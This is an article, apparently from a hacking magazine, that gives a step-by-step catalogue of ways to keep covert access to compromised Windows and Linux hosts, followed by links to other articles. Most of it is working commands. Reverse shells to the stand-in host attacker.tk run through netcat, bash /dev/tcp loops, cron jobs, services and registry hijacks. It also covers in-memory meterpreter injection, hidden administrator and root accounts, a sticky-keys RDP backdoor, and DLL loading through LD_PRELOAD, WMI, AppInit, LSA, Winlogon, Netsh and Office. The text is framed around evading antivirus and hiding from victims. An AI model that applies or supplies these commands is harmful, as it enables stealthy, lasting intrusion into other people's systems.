
There are many ways to establish persistence on a host, and each of them has its strengths and weaknesses, for instance:
-
write data on the HDD:
- strength: will survive a restart;
- weakness: visible to users and antiviruses;
-
inject code into RAM:
- strength: invisible to users;
- weakness: won’t survive a restart, may be visible to antiviruses;
-
change the OS configuration:
- strength: invisible to antiviruses, will survive a restart;
- weakness: may be visible to users.
Note that in most cases, you have no choice but to access the hard drive in order to entrench yourself in the system: this is the only way to prevent the loss of access due to an accidental reboot. Overall, the success of your persistence depends on two factors:
- how well is the backdoor launch hidden from the user; and
- how innocent the backdoor seems to the antivirus.
Of course, Linux systems are more suitable for persistence: most of such computers are rarely serviced by users and aren’t rebooted for months. They are more efficient as footholds and rarely protected by antiviruses (as you are well aware, antivirus programs pose a severe problem for persistence).
On the other hand, Windows has more startup options that can help you to disguise yourself deep in the system. Unlike Linux, on a Windows PC you almost always have to work alongside its user – either an experienced one or not.
When you are dealing not with a single target, but with a group, it’s convenient to use a domain name for the attacker’s machine, not an IP. This enables you to set for each victim or group of victims its own unique name in the attacker’s DNS zone (hereinafter attacker.tk), thus, making the management of victims more efficient. This is how it looks:

If antiviruses aren’t a big problem for you, then you can use a simple utility (e.g. nc.exe, ncat.exe, or socat.exe) as a reverse shell. All these programs have RAT capabilities and often bypass antiviruses just fine. Since they are run in the command line, you can launch such utilities on the target PC invisibly for the user. In Windows, all you have to do is change the subsystem of the executable file:
pe header → optional header nt fields → subsystem → GUI (0x0002)
The examples provided below will help you not only to establish persistence on the target host, but also to find out whether somebody has compromised your own machine.
In many cases, the analysis of startup elements is as useless as searching for a needle in a haystack. You have to make a decision based on the name of the executable file, its location (i.e. whether it’s in the right place or somewhere in the user profile), and name and description of the developer company hardcoded in the file. But as you know, nothing prevents an attacker from faking these data!
Antiviruses normally don’t delete entries in the startup lists, but instead delete the executable files. Therefore, a broken link in the startup must be an alarming signal for you.
In real-life situations, you often need the admin rights to maintain persistence. This might be a problem since not every shell has the required privileges. In the examples below, the unprivileged user input is marked with $
; while the admin input, with #
. The Autoruns utility is used for detection, and the results are shown in screenshots.
Shell
You can establish persistence directly from the command line. To ensure that the shell always starts, use the command with an infinite loop that goes into the background.
Windows
In Windows, this looks as follows:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"
Linux
bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
- Strengths: controlled start interval, works for any user.
- Weakness: won’t survive a restart.

Startup
Speaking of persistence, I cannot omit the classical and well-known startup. Its main advantage is that any user rights are sufficient for it.
Windows
cmd$> copy meter.exe %APPDATA%RoamingMicrosoftWindowsStart MenuProgramsStartup
cmd$> reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:usersusernamemeter.exe"cmd#> copy meter.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartupcmd#> reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:Windowssystem32meter.exe"
Linux
bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.

Services
From the persistence perspective, services have a significant advantage in comparison with the startup: Service Manager can restart the required service if necessary.
In Windows, you must have the admin rights to create a service.
cmd#> sc create persistence binPath= "nc.exe -e windowssystem32cmd.exe attacker.tk 8888" start= autocmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000cmd#> sc start persistence
In Linux, you can create a service using an unprivileged user account. Below are the variants for root and for ordinary users.
bash#> vim /etc/systemd/system/persistence.servicebash$> vim ~/.config/systemd/user/persistence.service
The file content is as follows:
[Unit]Description=persistence[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target
Launching the handmade service:
bash#> systemctl enable persistence.servicebash#> systemctl start persistence.servicebash$> systemctl --user enable persistence.servicebash$> systemctl --user start persistence.service
- Strengths: will survive a restart, controlled start interval, works for any user.
- Weakness: requires admin rights.

Tasks
Creation of a scheduled task is a very convenient way to maintain access. Concurrently, you can set the start time and interval. Too bad, only privileged users can perform such operations.
Windows
cmd#> at 13:37 tempnc.exe -e windowssystem32cmd.exe attacker.tk 8888cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:tempnc.exe -e c:windowssystem32cmd.exe attacker.tk 8888"
Linux
bash#> echo "* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1" >> /var/spool/cron/rootbash#> echo $'SHELL=/bin/bashn* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1n'> /etc/cron.d/pwn
- Strengths: will survive a restart, controlled start interval.
- Weakness: requires admin rights.

In-memory
To establish a foothold on the target machine without leaving any traces, you can inject a backdoor into its RAM. Antiviruses usually have little control over the memory because this significantly increases the consumption of resources. Even an experienced user is unlikely to notice something that is hidden inside a legitimate process.
I suggest using meterpreter as an in-memory backdoor. This famed RAT is able to work exclusively in the memory (i.e. without making any changes on the disk).
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999cmd$> inject_windows.exe PID meter32.bin
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999bash$> inject_linux PID meter32.bin
Malicious code can be injected not only into native processes, but in interpreted (e.g. with Python) ones as well:
msfvenom -p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -o meter.py exitfunc=thread StagerRetryCount=999999$> pyrasite PID meter.py
The price paid for the maximum secrecy is pretty high: persistence is lost after a reboot.
- Strengths: works for any user, difficult for a user to detect.
- Weakness: won’t survive a restart.

Since the malicious thread runs outside of any library, Procexp often displays its start address as null.
Configs
Establishing persistence by altering the OS configuration is a great way to hide from antiviruses. This is the only situation where you don’t use any executable code at all. But this method requires direct access to the target host.
One of the most popular variants of this attack is to create a hidden user and then gain remote access on its behalf.
Windows
cmd#> net user attacker p@ssw0rd /addcmd#> net localgroup administrators /add attackercmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v attacker /t REG_DWORD /d 0 /f
Linux
bash#> openssl passwd -1 -salt testbash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> /etc/passwd
A simple and efficient backdoor in Windows via RDP:
cmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t reg_sz /d "windowssystem32cmd.exe"cmd#> reg add "HKLMsystemcurrentcontrolsetcontrolTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
- Strengths: difficult for an antivirus to detect, will survive a restart.
- Weaknesses: requires the admin/root rights, won’t work if the target host is behind a NAT or a firewall.

Special tricks for Linux
Some tricks are applicable only to a certain OS. Let’s start with Linux.
LD_PRELOAD
To inject the required code into each launched process in Linux, use the LD_PRELOAD variable:
bash#> echo /path/to/meter.so >> /etc/ld.so.preloadbash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profilebash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.
rc.local
After a restart, you can execute commands in rc.local, but only once.
bash#> echo "nc attacker.tk 8888 -e /bin/bash &" >> /etc/rc.local
- Strength: will survive a restart.
- Weaknesses: uncontrolled start interval, root rights required.
Special tricks for Windows
Windows offers a much larger selection of malicious tricks.
Debugger
If the attacker is aware what programs are frequently used by the victim, the malicious code can be injected into the body of such a program using a joiner. However, any interference with executable files inevitably makes the antivirus pretty suspicious. A much more elegant solution is to intercept the launch:
cmd#> copy calc.exe _calc.execmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionscalc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:windowsnc.exe -e c:windowssystem32cmd.exe attacker.tk 8888" /f
As soon as the victim opens and then closes the calculator, the attacker gets a reverse shell:
- Strength: will survive a restart.
- Weakness: requires admin rights.

Gflags
In a similar way, you can arrange the execution of your code when the user closes a certain program.
cmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512cmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1cmd#> reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /d "nc -e windowssystem32cmd.exe attacker.tk 8888"
- Strength: will survive a restart.
- Weakness: requires admin rights.
Autoruns doesn’t detect this technique, but you can check the respective registry branch:
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit
WMI
Malicious code can be automatically executed using WMI events. The technique is pretty efficient and allows to run the backdoor at regular intervals.
cmd#> wmic /NAMESPACE:"rootsubscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"cmd#> wmic /NAMESPACE:"rootsubscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:usersadminmeter.exe",CommandLineTemplate="C:usersadminmeter.exe"cmd#> wmic /NAMESPACE:"rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
- Strengths: will survive a restart, controlled start interval.
- Weakness: requires admin rights.

AppInit
Windows allows to inject libraries into windowed applications using AppInit (they must use user32.dll).
cmd#> reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /fcmd#> reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t reg_sz /d "c:pathtometer64.dll" /fcmd#> reg add "HKLMSoftwareWow6432NodeMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /fcmd#> reg add "HKLMSoftwareWow6432NodeMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t reg_sz /d "c:pathtometer32.dll" /f
- Strength: will survive a restart.
- Weaknesses: requires admin rights, uncontrolled start interval.

Lsass
Another way is to inject the library into the lsass
system process. The main benefit is that this process stores the accounts that you normally extract with mimikatz.
cmd#> reg add "HKLMsystemcurrentcontrolsetcontrollsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm0scecli0meter" /f
- Strength: will survive a restart.
- Weaknesses: requires admin rights, uncontrolled start interval, there is a risk to kill the system.

Winlogon
The Winlogon mechanism can be used to run a shell every time a user logs on to the system.
cmd#> reg add "HKLMsoftwaremicrosoftwindows ntcurrentversionwinlogon" /v UserInit /t reg_sz /d "c:windowssystem32userinit.exe,c:windowsmeter.exe"
- Strength: will survive a restart.
- Weakness: uncontrolled start interval.

Netsh
Netsh is a command-line utility for local or remote network device configuring. In addition, it allows to load arbitrary libraries, thus, enabling you to cause an impromptu restart. The result looks harmless because the Windows system component that is initially called is 100% legitimate.
cmd#> c:windowssyswow64netsh.exenetsh> add helper c:windowsmeter32.dllcmd#> reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:WindowsSysWOW64netsh.exe"
As a result, you get the following chain: autorun → netsh.exe → meter.dll. Importantly, meter.dll is hidden from the user who will only see the launch of Netsh, a legitimate Windows component.
- Strengths: will survive a restart, difficult for a user to detect.
- Weakness: requires admin rights.

Office
This method is suitable if the victim frequently uses Microsoft Office (which is typical for victims).
cmd$> reg add "HKCUSoftwareMicrosoftOffice testSpecialPerf" /t REG_SZ /d C:usersusernamemeter.dll
- Strengths: will survive a restart, works for any user.
- Weakness: uncontrolled start interval.

Conclusions
The presented techniques are the most basic and popular ones; all of them can be used to establish persistence in the target system – either covertly or not. The majority of such attack don’t depend on the OS version and configuration and are easy-to-implement. Note that there is no universal way (otherwise the detection would be too easy!), and all methods have strengths and weaknesses. Keep in mind that in each specific situation, your primary goal is to balance the efficiency and stealth.
Of course, the selection of available techniques is not limited to the ones discussed in this article, and everything depends on your imagination and wits. For instance, the above-mentioned Autoruns utility can significantly facilitate the identification of new persistence options on Windows systems.
Importantly, a well-placed backdoor link is not the end of the story! In the next article, I am going to explain what executable file should be used for this purpose and how to effectively bypass antiviruses.

2022.06.03 — Playful Xamarin. Researching and hacking a C# mobile app
Java or Kotlin are not the only languages you can use to create apps for Android. C# programmers can develop mobile apps using the Xamarin open-source…
Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows
Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…
Full article →
2022.06.03 — Vulnerable Java. Hacking Java bytecode encryption
Java code is not as simple as it seems. At first glance, hacking a Java app looks like an easy task due to a large number of available…
Full article →
2022.01.01 — It's a trap! How to create honeypots for stupid bots
If you had ever administered a server, you definitely know that the password-based authentication must be disabled or restricted: either by a whitelist, or a VPN gateway, or in…
Full article →
2023.06.08 — Croc-in-the-middle. Using crocodile clips do dump traffic from twisted pair cable
Some people say that eavesdropping is bad. But for many security specialists, traffic sniffing is a profession, not a hobby. For some reason, it's believed…
Full article →
2022.02.15 — Reverse shell of 237 bytes. How to reduce the executable file using Linux hacks
Once I was asked: is it possible to write a reverse shell some 200 bytes in size? This shell should perform the following functions: change its name…
Full article →
2022.06.02 — Blindfold game. Manage your Android smartphone via ABD
One day I encountered a technical issue: I had to put a phone connected to a single-board Raspberry Pi computer into the USB-tethering mode on boot. To do this,…
Full article →
2022.06.01 — First contact. Attacks on chip-based cards
Virtually all modern bank cards are equipped with a special chip that stores data required to make payments. This article discusses fraud techniques used…
Full article →
2023.02.21 — Herpaderping and Ghosting. Two new ways to hide processes from antiviruses
The primary objective of virus writers (as well as pentesters and Red Team members) is to hide their payloads from antiviruses and avoid their detection. Various…
Full article →
2022.04.04 — Elephants and their vulnerabilities. Most epic CVEs in PostgreSQL
Once a quarter, PostgreSQL publishes minor releases containing vulnerabilities. Sometimes, such bugs make it possible to make an unprivileged user a local king superuser. To fix them,…
Full article →